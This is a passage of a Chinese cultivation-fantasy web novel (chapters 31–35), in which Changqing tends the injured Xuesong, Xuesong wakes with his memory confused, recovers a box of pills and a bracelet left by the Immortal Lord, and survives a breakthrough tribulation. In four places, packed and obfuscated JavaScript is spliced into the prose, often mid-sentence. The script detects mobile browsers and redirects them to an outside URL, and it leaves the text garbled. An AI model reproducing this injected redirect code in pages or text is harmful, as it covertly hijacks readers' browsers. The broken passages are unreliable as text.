长青手忙脚乱,掏出丹药来,想要喂雪松吃下去,又觉得雪松现在恐怕没有多少吞咽的能力,更何况还要等药效发作,也不知道来不来得及。
他顿了顿,把丹药收回去,握住雪松的手,开始传输灵力,试图先用灵力保住雪松的经脉,避免雪松修为下跌。
毕竟,灵脉受损,已经算是重伤了,没几个修士能在这种精神和身体的双重打击下,维持住自己的修为。
长青也实在不想看见一个天赋卓绝的修士就这么泯然众人。
雪松睁开眼睛,按住他的手,神色十分平静说:“我没事,休息一阵就会好的,你先把旁边的村民带走吧,他们要是在这醒来,大概又得吓晕过去。”
长青不能理解,大为震惊:“你知道自己现在快要死了吗?就你现在这个样子,哪怕活下来,修为下跌都算好的,很有可能从此经脉尽断,再也不能修炼,你还有空在乎那些只是昏迷了的人?你究竟在想什么?!”
“我心里有数,”雪松可以理解他受到惊吓和震撼导致的紧张焦急情绪,但并不想和他解释,推开他说,“你不愿意,我也不勉强,我去就是了。”
长青无可奈何,把他按回去:“我总不能站在旁边看着你这样奄奄一息去救人,我成什么了?我干就是了!你坐着吧。”
雪松坐在原位看着他说:“那好。”
长青发现雪松说这话居然是认真的,更加震惊,看了他一眼,不由自主摇了摇头,用最快速度把昏迷的村民都送了下去,之后看向他问:“你现在有什么打算?”
“你应该找到住处了吧?我不太想走很远,”雪松缓缓站起身说,“带我去吧,我要先休息休息,再考虑别的。”
长青心情极其复杂,对雪松伸手说:“你看起来下一刻就要断气了,我还真的让你走不成?我带你去。”
雪松确实不想走,点了点头,拉住了他的手,终于放松下来,晕了过去,长青吓了一跳,下意识把人抱住,发现只是晕了过去,而不是死了,松了一口气,把人带回了之前在玉镯镇布置阵法的院子。
阵法检测到雪松出现自动运转起来。
长青倒吸一口凉气,他走的时候着急,忘了把阵法拆掉,现在阵法已经启动,要阻止已经来不及了,不知道会不会对昏迷中的雪松造成什么危害
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648836|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
虽然正常情况下,这只不过是一个唤醒前世记忆的阵法而已,无论如何,没有危险,但现在不是正常情况,雪松眼看着就要死了,在这种极其脆弱的节骨眼上,长青很难不担心,哪怕恢复记忆中,造成了强烈的情绪波动,都有可能成为雪松的死因。
他不由得皱着眉头,一脸焦急,在房间里走来走去,不知如何是好,要强行拆掉阵法,他不是做不到,但这时候强行拆掉阵法,比让雪松承受阵法的影响,更容易导致死亡。
那他只有两害相较取其轻了——
虽然让雪松在这种虚弱的状态恢复前世记忆可能不太好,但总比反复受到阵法影响,最终承受无法控制的结果要好。
长老已经从他脸上的神色和脚下的阵法余晖,大概确认了情况,知道事已至此,他也无能为力,安慰他说:“雪松若真是仙尊的道侣,仙尊无所不知,不可能料不到今天的情况,不会毫无准备,你且安心等着,也许,雪松醒来会有办法的。”
长青沉默着退出了房间,不想继续在里面打扰雪松的休息,关上门,在院子里皱着眉头说:“可是,能有什么办法呢?如果有,为什么不告诉我?又为什么不直接用?根本是骗我吧!”
长老觉得他说的有道理,但那样太悲观了,容易出事,接着安慰说:“大难不死必有后福,相信他能挺过来的。”
“说起来,”长青顿了顿,忽然掏出一团气息,“我在那黑熊精的洞府,发现了这个,像是禁咒力量的残余,但我不确定,您能看看吗?”
长老定睛一看:“确实是禁咒。”
想起这个禁咒曾经被记录在什么地方,长老的神色古怪起来:“据我所知,宗门的藏书阁里曾经有一本书,记载了这个禁咒,但那本书早就被销毁了,雪松进宗门的时候,那本书根本就不存在,他怎么会知道这个?”
“谁销毁的?”长青疑惑问。
“是仙尊,”长老想起当初的情形,欲言又止道,“仙尊销毁之前我还看过那本书,那本书上,就在这个禁咒之前,还记录了复活术。”
“谁提出要销毁?”长青顿住,忽然察觉出一丝秘密的气息,眯了眯眼睛。
“也是仙尊,”长老回答,“仙尊还说,人死如灯灭,正是轮回之数,复活术这种东西就不该存在,为了以防万一,还是销毁好。”
长青若有所思,喃喃自语:“仙尊早料到自己会死,这不奇怪,但他大概也早就料到,自己会死得魂飞魄散。
众所周知,魂魄既散,便不入轮回,他销毁那本书,大约也是不希望雪松查出复活术来,扰乱命数。
可雪松还是知道了,哪怕他销毁了那本书,或许,这就是天命,天意要雪松复活他,他阻止不了,又或许,正因为他销毁了那本书,雪松阅览他的生平,才知道有复活术,才会想要复活他。”
32.第 32 章
“或许,”长青神色复杂,“雪松这一次,在任务中支开我,单独行动,就是为了强行试验那个禁术。
他知道如果我在,我不会坐视不理,他不一定有使用禁术的机会,更何况,是强行使用不属于他这个修为所能使用的禁术。”
长老感到疑惑:“那他为什么非要强行试验这个禁术?就不能等以后修为高一些了,再来用吗?那样更稳妥更安全,也更容易成功,更不容易被发现,不是吗?”
长青冷笑一声:“可不是?以他的天赋,只要稍微等一等,修为自然有突破的机会,要找没有人的地方,独自试验禁术,容易极了。
可他为什么不那么做?毫无疑问是因为,他根本不想等下去。
想想看吧,他用的剑是仙尊给的,他穿的软猬甲是仙尊给的,他吃过的丹药是仙尊给的,他喝过的酒是仙尊埋的,他用过的引路符是仙尊特意留的,哪怕他不记得仙尊和自己究竟有什么样的关系,看着那些东西,他又怎么能无动于衷?
他大概很想亲自问一问仙尊,究竟为什么对他这样好,一切是不是真像我们所说的那样,可是仙尊已经死了,他没有地方问。
要他忍耐,他大概是不愿意的,那还能有什么办法呢?或许可以去翻阅仙尊的生平,以此确认,仙尊究竟是否曾经和他认识。
于是他知道了那本书,凭他和仙尊几乎一模一样的外貌,他想要知道那本书究竟为什么被销毁,应该也不难,知道了那本书为什么被销毁,就知道了复活术,他又怎么能假装不知道?
哪怕是一个只听过仙尊名声的人,在得知自己有机会复活仙尊的时候,大概也会想要试一试,更何况,是和仙尊纠缠如此之深的雪松。他但凡知道了复活术,会想要复活仙尊,根本是不用怀疑的事情。”
长青说完,深深叹了一口气,忍不住唏嘘道:“雪松会不知道仙尊不希望被复活,尤其是,被他使用已经销毁的书里的复活术,复活吗?
他但凡查得出复活术,不可能不知道,仙尊销毁那本书的意思,就是不希望他复活自己。可他还是这么做了。”
他究竟是爱仙尊爱到不顾生死的盲目地步,还是恨仙尊恨到宁愿死也要想办法违背仙尊的意愿把人复活?恐怕只有他自己知道。
但有一件事是毫无疑问的——
他竟然宁愿冒着忤逆天命的风险,强行使用不属于自己这个修为所能使用的禁咒,就为了确认那本书上的复活术是否可行。
毕竟,同一本书里的咒术,通常情况下,有一道可行,就是道道可行,有一道不可行,就是道道不可行。
编书人的水平不可能忽上忽下,也不可能一时认得什么是真的,一时又分不出什么是假的。
因此,只要雪松实验了禁咒,确认可行,他就能同样确认,禁咒前面的复活术,多半也是可行的。
这太疯狂了!更疯狂的是,他居然成功使用了禁术,扛住了反噬,确认了他想确认的东西,下一步,恐怕就是使用复活术了吧?
长青在门口顿住脚步,神色十分复杂,看着面前关闭的门,忽然觉得,假如雪松醒来之后记忆错乱,也是一件好事。
因为如果雪松不知道复活术的事,也不至于这样疯狂,如果雪松忘了复活术,至少不会继续执着下去,好歹也没那么危险。
说不定反而可以活得长久一些。
虽然雪松自己未必要那样的长久和安稳,但对于旁观者而言,能够平平静静活到老死,就已经算不错了,自然希望身边的人也不要打扰这样的平静。
可是雪松,看起来就不像是那种,一生波澜不惊的人。或许,对他有那种平静到死的期望,本来就是一种应该被修改的,认知上的错误吧。
长青摇了摇头,叹了一口气,找了个位置,在院子里坐了下来,仰头望着落下阴影的树冠,绿油油的树叶层层叠叠,密密麻麻笼罩着天空,像一种即将往远处飞去蚕食世界的蝗虫。
静谧的景色,没能缓解他的忧心忡忡,反而因为被阴影笼罩,而感到担忧更加严重,像是即将被海水淹没口鼻,突如其来的窒息。
长老忽然想起一件事,对他说:“你能再把之前搜集到的,那团气息给我看看吗?”
长青掏出了那团气息,长老定睛一看,确认了自己看见的禁术和自己脑中刚才想到的禁术是同一种,不由得倒吸一口凉气。
“怎么了?”长青从长老的态度里察觉出了一点微妙的端倪。
“你知道这个禁术要什么样的前提条件才能发动吗?”长老神神秘秘问。
长青对此毫无了解,皱着眉头想了想,摇了摇头,一脸无可奈何:“我不知道。”
长老张了张口,正要告诉他,突然听见房间里传来了声音,仿佛里面的人醒了,顿时住了口。
长青也听见了房间里的声音,顾不得再问什么,转过头,就站起身,向房间走去,轻轻推开了门,往里一看。
房间里的阵法仍然正在运转中,但阵法纹路上的光芒逐渐暗淡,负责为阵法提供能量的灵石,也已经灰白了不少,这显然是能量即将耗尽的征兆,不管之后是成功还是失败,这个阵法都坚持不了多久了。
心情复杂的长青顿在原地,一时不知道自己该不该进去,犹豫起来。长老见此情形,不知说些什么,也保持了沉默。
雪松确实已经从床上坐起来了,他们之前在房间外听到的声音,毫无疑问就是雪松发出的,但是雪松脸上是迷茫的神色,让人分不清他究竟是想起了什么,还是忘记了什么。
阵法的光芒熄灭了,负责能量的灵石完全变成了灰白色,在眨眼之间化为粉末,阵法已经完全运转结束了。
长青注视着雪松,不知道他现在究竟是什么情况,如果他想起了前世的记忆,那长青不得不恭敬一些,毕竟雪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655453|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
松要真是仙尊的道侣,从辈分上是比旁人都高一大截的。
如果他没有想起,那长青就不知应不应该松一口气,却一定要想办法治疗他身上的伤了,因为再不治一治,恐怕就来不及了。
如果他记忆混乱,那长青完全可以松一口气,立刻想办法治疗他,先治疗他身体上的伤,再考虑记忆上的事。
反正他要真是记忆错乱,一定搞不清楚现在什么情况,距离他最近的是长青,就算他不相信长青的话,也得先听一听再说,那长青能说的东西可就太多了。
能做的事也绝对更多。
雪松看向长青问:“你是什么人?”
长青提起来的心放下一半,因为雪松要是记忆清晰,不会问他是谁,但雪松要是记忆混乱,现在可以算他们的二次初见了。
众所周知,第一印象是很重要的。
他几乎有些紧张回答:“我和你是同一个宗门的弟子,这院子是我租来的,用来当做你我出任务时的临时住所,你可以叫我长青师兄。”
“什么东西能证明你说的话?”雪松将信将疑。
“这是我从宗门带来的徽章,可以联系宗门长老,现在正在联系的是我师尊,他和这个东西都可以作证,”长青把徽章递给雪松,“我说的是真的。”
雪松看了一眼,点了点头:“我们什么时候去出任务?”
长青愣了一下,把徽章收了回去,摆手说:“任务已经完成了,你在这休息休息,养好了伤,我们就回宗门去,不用再做什么。”
雪松若有所思:“你完成的?我没有印象。我参加了吗?”
“是你完成的,”长青垂着眼睛说,“所以你才受了伤。”
“那我不记得现在的情况,也是因为受伤?”雪松一脸狐疑望着他问。
“我不确定,”长青摇了摇头,“你刚受伤的时候,没有失忆。”
雪松看了看自己惨白的头发:“那这是因为受伤?”
“是的,”长青点了点头,试探问,“你现在还记得什么?”
“记得什么?”雪松想了想,面色平静回答:“我好像在这住过一段时间,但是不太确定,过两天我可能会想起什么,或者全都想起来,现在不太记得什么。”
他说完,摇了摇头,脸上既没有对自己曾经在这里住过的惊讶,也没有对过两天可能想起什么的惴惴不安。
长青在他这种几乎有些诡异的平静中,察觉到了面对高阶修士时总能隐隐约约体会到的压迫感。
长青有些呼吸不畅,下意识想要离开,但是顿了顿,想起来雪松的伤还没有治,从自己发现雪松受伤到现在,雪松除了接受他最开始输入的灵力,就只是休息了一阵,恐怕那些伤不会自己痊愈,就担忧中带着试探问:“你再想一想,知道怎么治自己的伤吗?”
雪松想了想:“不知道,但好像有东西放在附近。”
33.第 33 章
“那太好了,我们现在就去找吧。”长青瞪大眼睛,迫不及待说道。
雪松想了想,点了点头,往外走了一段路,在一个僻静无人处停了下来。
“这里就是吗?放东西的地方?里面有什么?东西又是谁放的?”长青皱着眉头,左右看了看,看不出有什么,感到了疑惑。
雪松往前伸出手去,一边解开隐秘的阵法,一边回答:“应该是这里,放东西的地方,里面有一些或许我现在会需要的东西,至于是谁,我的朋友。”
长青若有所思,点了点头。朋友?那就是仙尊了。仙尊设置的阵法,寻常人看不出来倒也正常。这个地方如此隐蔽,大约也是为了,不被人随意发现吧?这样东西才能存放得更久,更安全一些。
阵法被解开了,解开阵法,对别人而言或许很困难,但对雪松而言,只要像指纹认证一样,稍稍使用自己的灵魂,阵法就会自己解开,一丁点多余的力气都不需要。
一个箱子出现在雪松面前,雪松伸出手去,想要打开这个箱子,可是手还没有碰到箱子,旁边忽然吹来一阵狂风。
他皱着眉头停了手,转头看了过去,树上站着一只通体火红的鸟,瞪着一双眼睛,收着翅膀,正看着他,见他看了过来,立刻向他大声问:“你是什么人?知道这里是什么地方吗?知道里面是什么东西?你怎么能如此随意解开阵法,又要去碰阵法里的宝贝?你知道这是谁放的?”
雪松面无表情,看着那只鸟,已经想起了这鸟的来历——
他之前还是仙尊的时候来这里放东西,被这只鸟看见了,这只鸟非要到处嚷嚷,实在太吵了,又容易把消息泄露出去——
为了保护放在这里的东西,也为了避免消息被这只鸟传出去,他让这只鸟在这里替他守着这箱子和东西,那只鸟也答应了。
“且慢且慢,”长青左右看了看,皱着眉头,一时搞不清楚怎么回事,但又觉得肯定和仙尊有关,应该不是敌人,就向那只鸟问,“你知道这里有阵法和宝贝,你是怎么知道的?”
那只鸟得意洋洋抬起头说:“这就要说到很久以前!仙尊来这里放东西,我看见了,仙尊就顺便请求我帮忙,替他看着东西,我答应了。”
长青若有所思,点了点头。
很久以前?时间对得上。仙尊?人也对得上。地点和东西?都在这里了,应该不是撒谎。至于仙尊顺便请求帮忙?
长青重新把那只鸟看了看,微不可查摇了摇头。
难以想象,仙尊会请求一只鸟的帮忙。与其说是仙尊请求,还不如说是,这只鸟机缘巧合发现了仙尊,死皮赖脸求着仙尊,让自己留在这里替仙尊守护东西,以后说出去也有面子,一看就很符合这只鸟的个性。
听起来也比较像是仙尊可能会做的事——
在需要隐藏的事情上,被发现之后,因为发现者没有错处而选择避开杀生,又因为对方恳求而心软,留对方一命的同时,保证自己要做的事情不会出错,既给自己的事情增添了保险,又让对方得到了好处,一举两得。
不愧是仙尊!强大善良,心思缜密,互利互惠,行动又有准则。这才是仙尊!
看对面两个人都不说话,那只鸟还以为他们不相信,有点急了,把头一抬,挥了挥翅膀飞到他们面前,额头上一个雪白的剑痕闪了闪,对他们说:“你们看!这就是证据!这是仙尊留下的!可以证明确实是仙尊让我留在这儿保护东西!我对仙尊发了誓的!不会随便让什么人把东西取走!”
长青定睛一看,点了点头:“确实是仙尊留下的痕迹。”
话音未落,那只鸟停在了不远处的树枝上,忽然像被雷劈了似的,浑身颤了颤,用一种目瞪口呆的神色盯着站在长青身后的雪松。
长青一开始没察觉出什么问题,左右看了看,有些疑惑:“怎么了?”
话刚问出口,不远处那只鸟额头上的印记忽然爆发出一阵强光,照向了几乎躲在长青身后的雪松,毫无疑问,这是印记见到了主人的反应。
但那只鸟亲口说了,那印记是仙尊留下的,雪松也说过,自己不是仙尊,这印记却对雪松有反应,岂不是说——
对这印记而言,雪松就是仙尊,而要得到这样的结果,只有一种可能,仙尊活着的时候,对天地发誓,和雪松结过道侣契,所以哪怕在仙尊死后,这契约也不曾解除,还能一如往常生效,以至于,对于一切仙尊留下的东西和印记,雪松和仙尊毫无区别?
长青倒吸一口凉气。不过他毕竟有之前一系列的事情做铺垫,在震惊之后,很快恢复了平静,接受了现实。
但对于那只鸟而言,这就是晴天霹雳了。
啪的一声,那只鸟落在地上,翅膀颤了两下,好一阵子才勉强从地上爬起来,呆呆靠着树干,好像眨眼间已经老得不成样子,双眼发直,一副完全回不过神的状态。
长青隐约听见那只鸟喃喃念道:“明明是仙尊留下的印记,怎么会对别人有反应?难道我记错了?不可能!难道仙尊骗我?不可能!难道这是仙尊的道侣?不可能!!!仙尊根本没有!从来没有听说过!突然冒出来一个!谁会相信呢?”
长青看这只鸟如此难以接受,忍不住劝道:“仙尊留下的阵法,想必除了仙尊,只有既定的人能解,现在阵法已经解开,不管是谁,一定是仙尊认为可以领东西的人,你又何必纠结呢?”
那只鸟拍拍身上的土飞了起来,绕着他们两个转了两圈,忍不住摇头:“仙尊怎么会让你们来取东西?”
“难道仙尊说了来取东西的人是谁不成?”长青挑了挑眉,有些好奇。
“这倒没有,”那只鸟摇头,停在不远处,看着已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663959|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重新准备开箱的雪松,没有再阻止,喃喃道,“但仙尊当时也没说,来取东西的人会是他的道侣啊。”
如果是平时,雪松一定要反驳的,但现在,仙尊从前留下来的印记都确认了他的身份,如果他要反驳自己不是仙尊的道侣,那他就得承认自己是仙尊。
一想到现在的修为,再想到身边其他人的猜测,他就觉得,与其承认自己是仙尊,还不如承认自己是仙尊的道侣。
至少,仙尊的道侣不如仙尊是有可能的,但仙尊的修为,像现在这么低,那就是一次性丢两次的脸,他还真不想承认。
长青是希望雪松反驳的,因为他一路看过来,知道雪松的态度,也知道雪松的记忆现在还没有完全恢复,不可能确定谁是朋友,哪怕,周围有一大堆的证据,也只是让雪松从坚决否认变得将信将疑而已。
但他没听见反驳,就干脆看了过去,发现雪松避开了他的目光,侧了侧脸,垂着眼睛,已经不再是从前那种将信将疑的无话可说的神态,倒像是事已至此,恐怕就是这样,没有什么可说了的样子。
虽然沉默和从前是一样的,但态度显然已经转变了,从前的沉默更接近于,你可以这么说,但我不一定要这么信,现在的沉默则更接近于默认了。
长青受到了一点微妙的打击,挪开目光,看向已经被雪松打开的那个箱子,既然是仙尊留下来的东西,应该都是好的,只是不知道是什么。
但如果仙尊可以未卜先知,提前在箱子里准备这次雪松受伤之后需要用的药物,倒也不是不可能。
结果第一眼,长青在箱子里看见了一只,和雪松手腕上一模一样的镯子,愣了一下,逐渐意识到这意味着什么,大为震惊。
原来仙尊当初的镯子被放在这个箱子里了?难怪别人都没看见。这两个镯子的款式还真是一模一样!难道他们真是天作之合?
旁边的鸟这个时候也注意到雪松的镯子,用极其震惊的声音喊道:“这两只镯子根本是一对!你怎么会有另外一只?当初仙尊都只有一只!等等——”
那只鸟露出蚊香圈一样的眼睛,喃喃道:“仙尊知道你会来,也知道你会有这只镯子,所以特意提前得了另外一只,放在这里,送给你吗?”
仙尊知道这是什么意思吗?在玉镯镇,只有年少慕艾的青年男女,在想要表白的时候,才会给人送镯子,要说到送一模一样的镯子,那就完全是求婚了。
求婚啊,求婚!仙尊知道求婚是什么意思吗?应该知道吧?那仙尊把镯子放在这里的时候,想的居然是给打开箱子的人求婚吗?
可是,他们不是已经是道侣了吗?否则仙尊的印记怎么会对雪松有反应?难道说,仙尊是和雪松结为道侣之后,才想起来要给人求婚?难怪不敢当面说!又是阵法又是箱子,是就怕对方第一眼看了,直接拒绝吧?
34.第 34 章
雪松只当做什么也没有听到,并没有给出任何回应,只是默默把箱子里的手镯拿起来看了看,戴在自己有空的另外一只手腕上。
长青和旁边的那只鸟并没有看错,这两只镯子确实是同一个款式,简直就是一对,戴在手上之后,更加一模一样了。
不过,雪松带着的那只看起来更老一些,箱子里的那只更新一些,毕竟在箱子里放了那么长时间,没有风吹日晒,保存完好,这也正常。
长青忍不住想起仙尊。难道仙尊连镯子的新旧程度也计算好了吗?知道雪松现在年轻,身份又新,所以特意留了一个看起来比较新的镯子,既不会显眼,又不会太贵重,又有新意,又配得上身份,好像一切都正合适。
这么看来,仙尊送给雪松的那只镯子,倒比雪松自己在新生大比上得到的那只镯子,更适合他一些。仙尊挑了多久?又怎么确认合适的?把人带在身边一一试吗?不太可能。
仙尊来的时候,众所周知,是只有一个人的,走在街上的时候,也有人看见,身边并没有其他人,那雪松就是在仙尊的住处了?
长青忽然想起雪松之前对他说,仿佛在他挑的那个房子住过,倒吸一口凉气。
雪松从前在那个房子住过的意思是——
仙尊曾经让他暂时居住在那个房子里,陪伴自己完成任务,顺便隐瞒了别人,还让他在房子里试了试镯子大小是否合适?
说不定还问过他喜不喜欢这个款式,要不要这只镯子,放在哪里比较容易找,以及,知不知道镯子的意思,要不要接受?
长青狠狠打了个哆嗦,不知道应该感慨他们居然如此蜜里调油,还是应该疑惑,他们是不是就在那个时候,决定结为道侣?
雪松看了看手腕上的镯子,确定暂时并不影响行动之后,又把目光投向了箱子,箱子里有一只白玉瓶。
他把瓶子拿起来晃了晃,隐约听见里面似乎有丹药撞击的声音,就打开塞子低头一看,里面果然有一颗洁白如玉的丹药,正静静躺在里面。
他一仰头,就把丹药吞掉了,喉咙里咕的一声响,像是一块石头砸进了水井里,旁边的长青和鸟都愣住了。
长青在他吞下去之后才反应过来连忙喊他:“你直接就吃吗?你甚至不确定一下这是什么?万一失效了怎么办?万一被替换了怎么办?”
旁边的鸟如同被针扎了一下跳起来,在半空中扑扇着翅膀,把脸涨得通红,恼羞成怒似的,大声喊道:“我一直看着,根本没有被替换过!难道你是在说我替换过了吗?我没有干那种事!”
“只是一种可能而已,你不要这么激动,我没有说你的意思,”长青摆了摆手,“那东西上面没有任何标签,也没有任何印记,算得上来历不明,谨慎小心一些不为过的。”
那只鸟闷闷的,不说话了。
雪松把那个丹药完全吞下去之后,面色十分平静回答他:“不用担心,没有问题。”
长青若有所思,将信将疑看着雪松,没有说什么。
这么信任吗?知道是仙尊放的东西,就根本不需要检查?虽然如果是仙尊给的,确实不需要检查,但是放了这么久,谁知道有没有万一?究竟是在赌自己不会死,还是觉得假如真是毒药,毒死了也无所谓,反正是仙尊给的?你们两个突然恨海情天起来了?
雪松又从箱子里找出第二个瓶子,打开一看里面是满满当当的一瓶进阶丹,与此同时,他手腕上的镯子闪了一闪。
长青挑了挑眉。
之前没看出来这两镯子还有相互吸引的效果?等等,如果是这样,那岂不是证明雪松在大比时得到其中一只镯子的时候,就已经可以找到另外一只镯子的下落了?
但他当时为什么没找呢?是没有察觉还是觉得需要准备?他是假装不知道,还是真的不知道?
他该不会早就知道镯子在这儿,但是不想自己主动到这儿来,显得好像是故意为了什么来的,所以才领了任务,顺便和自己一起过来吧?
既可以隐瞒真实目的,又可以转移其他人的注意力,好一招一石二鸟!好熟悉的手段!已经能感觉到仙尊那种算无遗策的味儿了。该说不愧是仙尊的道侣吗?
连这种地方也如此相似!是相处时间太长,所以腌入味了,还是朝夕相处,所以对对方的一切了如指掌,以至于用起对方的手段也手到擒来?根本是未亡人!因为处处都有已经死了的那个人的影子啊。
雪松把瓶子里的丹药看了看,一仰头全都吞了,长青愣了一下,大惊失色:“一口气吃这么多,真的会死的吧?你的伤是因为刚才那颗丹药才刚刚愈合吧?用不用这么着急啊?”
他说到这里忽然顿了顿,想起来大比的时候,宗主给的奖励之一是一瓶丹药,吃下去就可以提升进阶的概率,又看了看雪松手里的瓶子,估算了一下,那个瓶子最多可以装多少那样大小的丹药,不由得倒吸一口凉气。
吃那么多真的会死吧?宗主之前在大比奖励的时候给出的丹药数量,对于一般修士而言,就是他们所能承受的最恰当的份量了。
不同的修士天赋和修为都不一样,平时修炼习惯也不一样,如果天赋高,修为高,平时修炼又惯于冲击自己的极限,那多吃一点丹药,挑战自己也不是不行。
如果天赋低,修为低,平时修炼偏向于稳中求胜,那吃丹药的时候最好往少了吃,发现效果不足的时候再加就行。
这样比较方便停下来,也比较好控制最后的分量,得到的效果虽然不如上一种,但也同时没有上一种那么容易死,危险性是大大降低的。
雪松的天赋是毫无疑问的高,否则不可能进宗门没多久就来到筑基巅峰,以他现在的修为想要突破金丹期,已经算是很稳妥的了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667983|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因为在金丹期以下,没有比筑基巅峰更高的修为了。
至于他平时是不是总想着突破自己,长青对此不太了解,但看之前和现在的事,他大概确实是那种类型,多吃一两颗丹药也没什么。
可他简直是多吃了一倍!对于普通修士而言,吃下去的时候就该爆体身亡了。
他现在没死,也不知道是因为身体太虚弱所以需要的能量太多,还是之前吃的那一颗丹药正在急速修复他的身体,勉强维系了最后的平衡。
天上雷云聚集,闪电噼里啪啦,狂风逐渐呼啸,红颜色的鸟扑扇着翅膀飞了起来,向远处躲去,一边飞一边喊:“既然你要渡劫,我就不在这儿待着了,免得一块儿被雷劈,等你渡完了我再回来啊!”
雪松把箱子盖回去,看向长青说:“你也该走远一点了,不然等会儿劫雷把你一起劈了,雷劫的威力和时长都是要翻倍的。”
长青知道这个,皱着眉头说:“可是你真扛得住吗?”
“没问题,”雪松对他晃了晃手里的镯子,“有增益效果在,我一时半会儿死不了,你要是担心可以在旁边看着,等结束了,把我带回院子去。”
长青将信将疑:“那好吧。”
他转身,离开了雷劫的范围,停在不远处观望情况,忽然想到一件事。宗门大比的时候,宗主给出的奖励,也有可以提升进阶概率的丹药,但当时雪松没有选。
究竟是因为更想要镯子还是认出了曾经有那么一只镯子?究竟是因为觉得不需要丹药还是猜到这里的箱子一定有更多的丹药?
如果是觉得不需要丹药,这会儿怎么又吃了?因为是仙尊给的,所以毫无疑问吗?如果是猜到这里有更多的,那他早就算好,要在这时候吃了丹药渡劫?
仙尊知道吗?应该知道,否则不会准备丹药。就这么放心?就是因为本性相同,所以才情投意合?
长青心情复杂。
雷云逐渐消散,长青踩着一片焦土,向雷劫中心走去,那只红彤彤的鸟飞在他旁边,慢吞吞往前,像是怕惊扰了什么似的,小声对他说:“我能感觉到他还活着。”
长青看了那只鸟一眼,那只鸟解释说:“本来这个印记只是让我和仙尊有所联系,确保我信守承诺,我是不能单方面联络仙尊的,感知也做不到,但刚才印记和仙尊道侣有所关联,波动被加强了,我就能感觉到了,或许过一段时间就恢复正常了。”
长青将信将疑,点了点头,随后看见了雪松,停住了脚步。
那只鸟慢了半拍,但也很快跟着他停在了旁边的树枝上。
雪松现在已经是金丹初期的修为,身上的伤全都好了,只有头发还是白的,大概要过一阵子才能好,不过也有可能因为晋升金丹而容貌固定,导致之后也是白的。
但也说不定,雪松是为了祭奠仙尊,才故意保留白发。
35.第 35 章
装东西的箱子已经在刚才的雷劫中灰飞烟灭了,一点痕迹也没留下,好像根本不存在一样。
雪松就站在之前的位置上,重新整理了一下头发和衣服,或许是因为雷劫刚过,整个人看起来焕然一新。
“走吧,”雪松对长青说,“已经没有什么东西要拿了。”
长青点了点头,转身正要走,旁边那只鸟忽然飞起来向他们问:“那我呢?我跟你们一起走吧?仙尊让我守的东西已经——”
鸟的眼珠子转了转,看向雪松:“已经几乎不存在了,我没有什么留在这里的必要,把我带走吧?”
雪松把他看了看:“带走你有什么用?”
“我愿意为你鞍前马后,”那只鸟发誓一样说,“仙尊留下的印记作证,当初仙尊怎样让我看守好那些东西,如今我就怎样待你。”
雪松将信将疑,眯了眯眼睛,本来不想带走他的,但听他提起印记,忽然想到,如果不带他走,他一定会到处乱飞,到时候,要说什么,自己可听不见,也不知道,会发生什么事,那可就不好说了。
因此雪松略一犹豫就点了点头:“那你就跟着吧,不要打扰我。”
那只鸟连连点头,拍着胸脯保证说:“我一定不会给你添麻烦的!”
长青看得出来,雪松本来是不打算答应那只鸟的,但听他答应了,有一点惊讶,转头去看他,发现他脸上细微的表情变化和犹豫。
虽然不想被人跟着,但一想到对方曾经和仙尊有所接触,甚至还带着仙尊的印记,就改变主意了吗?
虽然仙尊已经死了,仙尊留下来的东西已经带在身上,仙尊给的丹药已经吃掉了,但还有一只带着仙尊留下来的印记的鸟,所以也不能留在外面吗?
就那么爱仙尊?爱到不管是什么东西都收入囊中,连一只不想带着的鸟也要带在身边,只是为了这只鸟身上仙尊的印记,以及曾经见过仙尊的回忆?
哪怕只是曾经和仙尊见过一面,也那么重要吗?究竟是想从这些零零碎碎的东西里回忆仙尊,还是窥视仙尊曾经在他人面前的样子以此来拼凑自己对仙尊的印象呢?
